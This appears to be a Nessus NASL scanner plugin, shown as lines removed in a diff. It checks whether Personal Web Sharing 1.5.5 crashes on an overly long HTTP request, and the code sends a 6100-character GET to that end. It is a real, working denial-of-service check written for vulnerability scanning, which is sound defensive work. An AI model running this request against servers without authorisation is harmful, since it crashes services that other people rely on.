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- #
- # This script was written by Michel Arboi <arboi@alussinan.org>
- #
- # Script audit and contributions from Carmichael Security <http://www.carmichaelsecurity.com>
- # Erik Anderson <eanders@carmichaelsecurity.com>
- #
- #
- # GPL
- # *untested*
- #
- # References:
- # To: BUGTRAQ@SECURITYFOCUS.COM
- # Subject: Personal Web Sharing remote stop
- # Date: Thu, 10 May 2001 07:32:43 +0200 (EET)
- # Frok: "Jass Seljamaa" <jass@email.isp.ee>
- #
- # Affected:
- # Personal Web sharing v1.5.5
- #
-
-
- if(description)
- {
- script_id(11085);
- script_bugtraq_id(2715, 84);
- script_version ("$Revision: 1.12 $");
- name["english"] = "Personal Web Sharing overflow ";
- script_name(english:name["english"]);
-
- desc["english"] = "
- It was possible to kill the Personal Web Sharing
- service by sending it a too long request.
-
- A cracker may exploit this vulnerability to make your web server
- crash continually.
-
- Solution : upgrade your software or protect it with a filtering reverse proxy
-
- Risk factor : High";
-
- script_description(english:desc["english"]);
-
- summary["english"] = "Too long request kills PWS";
- script_summary(english:summary["english"]);
-
- script_category(ACT_DENIAL);
-
- script_copyright(english:"This script is Copyright (C) 2002 Michel Arboi");
- family["english"] = "Denial of Service";
- script_family(english:family["english"]);
- script_require_ports("Services/www", 80);
- script_dependencie("find_service.nes", "httpver.nasl", "http_version.nasl");
- exit(0);
- }
-
- ########
-
- include("http_func.inc");
-
-
-
- port = get_http_port(default:80);
-
- if(! get_port_state(port)) exit(0);
-
- if (http_is_dead(port: port)) exit(0);
-
- soc = http_open_socket(port);
- if(! soc) exit(0);
-
- r= http_get(item:string("/?", crap(6100)), port:port);
- send(socket:soc, data: r);
- r = http_recv(socket:soc);
- close(soc);
-
-
- if(http_is_dead(port: port)) { security_hole(port); }
-